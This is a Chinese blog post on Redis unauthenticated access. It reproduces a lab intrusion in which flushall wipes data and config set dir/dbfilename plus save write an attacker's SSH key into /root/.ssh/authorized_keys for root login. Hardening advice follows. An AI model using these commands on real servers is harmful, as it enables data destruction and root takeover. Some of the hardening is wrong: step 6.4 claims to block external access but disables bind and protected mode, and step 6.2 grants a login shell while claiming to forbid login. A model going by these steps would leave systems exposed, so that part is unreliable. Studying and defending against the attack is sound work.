Redis--弱口令未授权访问漏洞

Redis--弱口令未授权访问漏洞

    • 一、漏洞简介
    • 二、危险等级
    • 三、漏洞影响
    • 四、入侵事件
    • 五、漏洞复现--Redis CrackIT入侵事件
      • 5.1、以root启动的redis,可以远程登入到redis console--------A主机
      • 5.2、生成公钥
      • 5.3、执行: redis-cli flushall 清空redis(非常暴力,请务必在测试环境执行)
      • 5.4、执行: cat foo.txt | redis-cli -x set pwn
      • 5.5、调用config set命令对redis的备份文件路径进行修改
      • 5.6、使用本地的私钥去登入被植入公钥的ssh服务器
    • 六、加固方案
      • 6.1、通过修改 redis.conf 文件来禁用远程修改 DB 文件地址,禁止远程使用一些高危命令
      • 6.2、 低权限运行 Redis 服务,为 Redis 服务创建单独的 user 和 home 目录,并且配置禁止登陆
      • 6.3、通过修改 redis.conf文件来为 Redis 添加密码验证
      • 6.4、 通过修改 redis.conf 文件来使得 Redis 服务只在当前主机可用,禁止外网访问 Redis
      • 6.5、将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限,保证 authorized_keys 文件的安全

一、漏洞简介

Redis是美国Redis Labs公司赞助的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

Redis中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在6379端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问Redis并读取Redis的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

二、危险等级

高危

三、漏洞影响

易攻击对象:

Redis服务器
Linux环境
对公网开放
未启用认证
以root方式启动 (非必需 )

现象:

redis都被执行过flushall命令进行清空
redis内新建crackit的key
redis的dir参数被指向了/root/.ssh文件夹
/root/.ssh目录下会生成一个authorized keys文件 (或者覆盖现有的)

四、入侵事件

12015--Redis CrackIT入侵事件分析--redis数据库数据被清空
22022--SkidMap病毒利用Redis未授权访问漏洞攻击,数千台云主机沦为矿机

五、漏洞复现–Redis CrackIT入侵事件

5.1、以root启动的redis,可以远程登入到redis console--------A主机

set k1 v1 后面测试用

[root-worker bin]# ./redis-cli
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> get k1
"v1"
127.0.0.1:6379> exit

在这里插入图片描述

5.2、生成公钥

[root-worker ~]# ssh-keygen -t rsa -C "crack@redis.io"

在这里插入图片描述

在这里插入图片描述

5.3、执行: redis-cli flushall 清空redis(非常暴力,请务必在测试环境执行)

[root-worker .ssh]# redis-cli flushall
OK
[root-worker .ssh]#

在这里插入图片描述

5.4、执行: cat foo.txt | redis-cli -x set pwn

[root-worker .ssh]# cat foo.txt | redis-cli -x set pwn
OK
[root-worker .ssh]# 
[root-worker .ssh]# redis-cli
127.0.0.1:6379> get k1
(nil)
127.0.0.1:6379> 

在这里插入图片描述

5.5、调用config set命令对redis的备份文件路径进行修改

登录redis,执行如下命令,调用config set命令对redis的备份文件路径进行修改,然后执行save进行生成备份文件 (这里是生成了authorized keys文件)。这样就可以使用本地的私钥去登入被植入公钥的ssh服务器了。

[root-worker .ssh]# redis-cli
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config set dbfilename "authorized keys"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit
[root-worker .ssh]# 
[root-worker ~]# ll --si .ssh
total 17k
-rw-r--r-- 1 root root  506 May 19 11:05 authorized keys
-rw-r--r-- 1 root root  402 May 19 10:46 foo.txt
-rw------- 1 root root 1.7k May 19 10:41 id_rsa
-rw-r--r-- 1 root root  396 May 19 10:41 id_rsa.pub
[root-worker ~]# 

authorized_keys-----------------存放远程免密登录的公钥
id_rsa---------------------------------生成的私钥文件
id_rsa.pub---------------------------生成的公钥文件
know_hosts-------------------------已知的主机公钥清单

5.6、使用本地的私钥去登入被植入公钥的ssh服务器

准备一台B主机(192.168.181.30),并将A主机–zyl-worker上的私钥id_rsa拷贝到B主机。

[root-worker .ssh]# scp /root/.ssh/id_rsa root.168.181.30:/root/.ssh/
id_rsa                                                                                                       100% 1679   339.2KB/s   00:00    
[root-worker .ssh]# 

在这里插入图片描述

在B主机私钥所在目录,执行命令:

[root-worker .ssh]# ssh -l root 192.168.181.30
Last login: Sat May 20 11:33:46 2023 from 192.168.181.161
[root-mysql ~]# 

windows上测试:

将 id_rsa 私钥拷贝到 Windows电脑,在私钥所在目录,执行命令:

ssh -i .\id_rsa -o StrictHostKeyChecking=no root@192.168.181.161

Microsoft Windows [版本 10.0.19044.2846]
(c) Microsoft Corporation。保留所有权利。

C:\Users\zhao\Desktop\test-connet>ssh -i .\id_rsa -o StrictHostKeyChecking=no root.168.181.161
Last failed login: Fri May 19 12:00:49 CST 2023 from 192.168.181.1 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Fri May 19 11:52:11 2023 from 192.168.181.30
[root-worker ~]#

在这里插入图片描述

六、加固方案

6.1、通过修改 redis.conf 文件来禁用远程修改 DB 文件地址,禁止远程使用一些高危命令


rename-command KEYS ""         
rename-command FLUSHALL ""     
rename-command FLUSHDB ""      
rename-command CONFIG "" 
rename-command EVAL ""

在这里插入图片描述

6.2、 低权限运行 Redis 服务,为 Redis 服务创建单独的 user 和 home 目录,并且配置禁止登陆

#新增用户组

[root-worker ~]#groupadd redis

#新建用户redis加入redis组中,并禁止登录

[root-worker ~]#useradd -M redis -g redis -s /bin/bash

redis目录赋权、使用redis用户启动redis服务

[root-worker ~]# chown -R redis:redis /usr/local/redis
[root-worker ~]# groupadd redis
[root-worker ~]# useradd -M redis -g redis -s /bin/bash
[root-worker ~]# 
[root-worker ~]# chown -R redis:redis /usr/local/redis
[root-worker ~]# cd /usr/local/redis
[root-worker redis]# ll
total 0
drwxr-xr-x 2 redis redis 134 May 19 10:07 bin
drwxr-xr-x 2 redis redis  70 May 19 12:17 conf
[root-worker redis]# service redisd stop
Stopping ...
Waiting for Redis to shutdown ...
Redis stopped
[root-worker redis]# su redis
bash-4.2$ 
bash-4.2$ service redisd start
Starting Redis server...
3873:C 19 May 12:38:38.980 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
3873:C 19 May 12:38:38.980 # Redis version=4.0.8, bits=64, commit=00000000, modified=0, pid=3873, just started
3873:C 19 May 12:38:38.980 # Configuration loaded
3873:M 19 May 12:38:38.981 # You requested maxclients of 10000 requiring at least 10032 max file descriptors.
3873:M 19 May 12:38:38.981 # Server can't set maximum open files to 10032 because of OS error: Operation not permitted.
3873:M 19 May 12:38:38.981 # Current maximum open files is 4096. maxclients has been reduced to 4064 to compensate for low ulimit. If you need higher maxclients increase 'ulimit -n'.
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 4.0.8 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 3873
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

3873:M 19 May 12:38:38.982 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
3873:M 19 May 12:38:38.982 # Server initialized
3873:M 19 May 12:38:38.983 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
3873:M 19 May 12:38:38.983 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
3873:M 19 May 12:38:38.983 * DB loaded from disk: 0.000 seconds
3873:M 19 May 12:38:38.983 * Ready to accept connections

^Z
[1]+  Stopped                 service redisd start
bash-4.2$ exit
exit
There are stopped jobs.
bash-4.2$ exit
exit
3873:signal-handler (1684471161) Received SIGTERM scheduling shutdown...
3873:M 19 May 12:39:21.867 # User requested shutdown...
3873:M 19 May 12:39:21.867 * Saving the final RDB snapshot before exiting.
3873:M 19 May 12:39:21.867 # Failed opening the RDB file dump.rdb (in server root dir /) for saving: Permission denied
3873:M 19 May 12:39:21.867 # Error trying to save the DB, can't exit.
3873:M 19 May 12:39:21.867 # SIGTERM received but errors trying to shut down the server, check the logs for more information
[root-worker redis]# ps -ef | grep redis
root       3757   1925  0 12:14 pts/0    00:00:00 vim /etc/redis/
root       3767   1925  0 12:16 pts/0    00:00:00 vim redis.conf
root       3769   1925  0 12:17 pts/0    00:00:00 vim redis.conf
redis      3873      1  0 12:38 pts/0    00:00:00 /usr/local/bin/redis-server 127.0.0.1:6379
root       3892   1925  0 12:39 pts/0    00:00:00 grep --color=auto redis
[root-worker redis]# 

查询redis服务是否以用户redis启动:

在这里插入图片描述

6.3、通过修改 redis.conf文件来为 Redis 添加密码验证

vi redis.conf,找到:
#requirepass foobared
去掉注释,并修改密码:
requirepass 密码

在这里插入图片描述

6.4、 通过修改 redis.conf 文件来使得 Redis 服务只在当前主机可用,禁止外网访问 Redis


vi redis.conf ,注释bind 127.0.0.1
# bind 127.0.0.1
protected-mode yes  把yes改为no
protected-mode no

在这里插入图片描述

6.5、将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限,保证 authorized_keys 文件的安全

1、阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读
[root-worker .ssh]# chmod 400 ~/.ssh/authorized_keys

2、设置authorized_keys文件的 immutable 位权限
[root-worker .ssh]# chattr +i ~/.ssh/authorized_keys

3、设置 ~./ssh 的 immutable 权限,防止重命名 ~/.ssh
[root-worker .ssh]# chattr +i ~/.ssh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/21221.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

《终身成长》笔记四——如何面对失败

目录 经典摘录 秉性 一个英雄具备的所有特质 ​编辑 什么是成功 什么是失败 掌控成功 领导力与固定型思维模式 成长型思维模式领导者的行为 害羞 经典摘录 秉性 天才们,因为自己拥有的优势而得意忘形,不去学习如何努力奋斗以及如何面对挫折。…

分享一个程序员接私活、兼职的平台

分享一个程序员接私活、兼职的平台 1、技术方向满足任一即可2、技术要求3、最后 1、技术方向满足任一即可 Python:熟练掌握Python编程语言,能够使用Python进行数据处理、机器学习和深度学习等相关工作。 MATLAB:熟练掌握MATLAB编程语言&…

MathType7公式编辑器新版详细介绍下载安装

由于CSDN这边不能发相关的教程等,若仅用于学习体验,请移步,有能力请支持正版。 wx供重浩:创享日记 对话框发送:mathtype 免费获取MathType-win-zh.exe安装包 它是一款用于数学公式编辑和排版的软件。MathType可以在Mi…

粪菌移植——一种治疗人体疾病的新型疗法

谷禾健康 粪菌移植是一项近年来备受关注的医疗技术,它涉及将健康捐赠者的粪便物质转移至患有疾病或障碍患者的胃肠道。 简单来说就是选择健康合适的人粪便,通过科学方法提取出有用的微生物,去除有害与无用的部分,然后制成制剂&…

基于布谷鸟优化算法(CS)在微电网优化中的应用研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

ChatGPT应用场景巡航之广告文案

此文为ChatGPT应用场景巡航第二篇:广告文案。 写出成功的文案,需要专业的技术水准,如果加以辅助工具,那会更加如虎添翼,事半功倍,本文会给大家介绍一下广告文案的写作技巧和辅助工具的使用。 01 — 指导原…

如何使用jenkins、ant、selenium、testng搭建自动化测试框架

如果在你的理解中自动化测试就是在eclipse里面讲webdriver的包引入,然后写一些测试脚本,这就是你所说的自动化测试,其实这个还不能算是真正的自动化测试,你见过每次需要运行的时候还需要打开eclipse然后去选择运行文件吗&#xff…

文献阅读:A Lite Distributed Semantic Communication System for Internet of Things

目录 动机:为什么作者想要解决这个问题?贡献:作者在这篇论文中完成了什么工作(创新点)?规划:他们如何完成工作?理由:通过什么实验验证它们的工作结果自己的看法 动机:为什么作者想要…

【接口自动化测试】cookie绕过验证码自动登录?(保持登录状态)

目录 前言 cookie工作原理 cookie绕过登录 【自动化测试工程师学习路线】 1、自动化测试必备Python编程内容​ 2、Web UI 自动化测试基础内容​ 3、Web UI 自动化测试实战内容​ 4、APP UI 自动化测试基础内容​ 5、APP UI 自动化测试实战内容​ 6、API 接口自动化测…

从‘discover.partitions‘=‘true‘分析Hive的TBLPROPERTIES

从’discover.partitions’true’分析Hive的TBLPROPERTIES 前言 Hive3.1.2先建表: show databases ;use db_lzy;show tables ;create external table if not exists test_external_20230502(id int,comment1 string,comment2 string ) stored as parquet ;creat…

高精度示波器keysight是德DSOS054、MSOS054销售回收

安捷伦Keysight DSOS054A MSOS054 500MHZ高清晰度示波器 特征: 带宽:500 MHz,具有平坦的频率响应,可实现高信号保真度 频道:4 最大存储深度:800 Mpts(2 通道),400 Mpt…

2023五一杯数学建模竞赛ABC题思路解析+代码+论文

AB题见文末,下面是C C题:“双碳”目标下低碳建筑研究 “双碳”即碳达峰与碳中和的简称,我国力争2030年前实现碳达峰,2060年前实现碳中和。“双碳”战略倡导绿色、环保、低碳的生活方式。我国加快降低碳排放步伐,大力推…

莫言用 GPT 写颁奖辞,那如果他自己写会是什么效果呢?

在《收获》杂志 65 周年庆典上,莫言在为余华颁奖时表示,余华是自己的好朋友,但给他的颁奖词写了好几天也想不出来,后来找了 ChatGPT 帮忙写。最后,莫言让 ChatGPT 写了一篇莎士比亚风格 1000 多字的颁奖词,…

2023-5-17-CPU架构学习(amd、ard等)

🍿*★,*:.☆( ̄▽ ̄)/$:*.★* 🍿 💥💥💥欢迎来到🤞汤姆🤞的csdn博文💥💥💥 💟💟喜欢的朋友可以关注一下&#xf…

微服务的使用场景和架构设计方案

目录 【单体架构】 【微服务解决哪些问题】 微服务的拆分原则 微服务使用过程中有哪些坑? 【RPC框架】 常见的网络 IO 模型 RPC 执行过程总结 【CAP原理】 如何使用 CAP 理论 【服务注册和发现】 【配置中心】 【Consul】 Consul介绍 Consul角色 Con…

高效易懂,打造维护性好的Web自动化测试框架PO模式精讲

目录 前言: 一、 PO概述 二、PO何实现于Web框架素自动化测试重中之重。 1.为了保证易维护性和易读性,我们可以在项目中定义一个统一的库,用来存放所有的定位器类。 2.定义一个基础的类,该类用于针对PO的元素定位进行封装。 3…

Vivado综合属性系列之四 ROM_STYLE

目录 一、前言 二、ROM_STYLE 一、前言 ROM英文全称为Read Only Memory,只读存储器,里面主要存放固定的数据。 二、ROM_STYLE ROM的使用方式与RAM类似,格式样例为:(* rom_style"{distributed | block}" *)&#xff0…

Java经典笔试题—day09

Java经典笔试题—day09 🔎选择题🔎编程题🥝另类加法🥝走方格的方案数 🔎结尾 🔎选择题 (1)下面程序的输出是 ( ) String x“fmn”; x.toUpperCase(); String yx.replace(‘f’,‘F’); yy“wxy”; System…

Vue3-黑马(十)

目录: (1)vue3-antdv-全局提示与校验 (2)vue3-进阶-router-入门 (3)vue3-进阶-router-动态导入-嵌套路由-重定向 (1)vue3-antdv-全局提示与校验 当用户新增修改&…

​GPT充当大脑,指挥多个模型协作完成各类任务,通用系统AutoML-GPT来了

使用 ChatGPT 实现通用人工智能,思路打开了。 当前,AI 模型虽然已经涉及非常广泛的应用领域,但大部分 AI 模型是为特定任务而设计的,它们往往需要大量的人力来完成正确的模型架构、优化算法和超参数。ChatGPT、GPT-4 爆火之后&…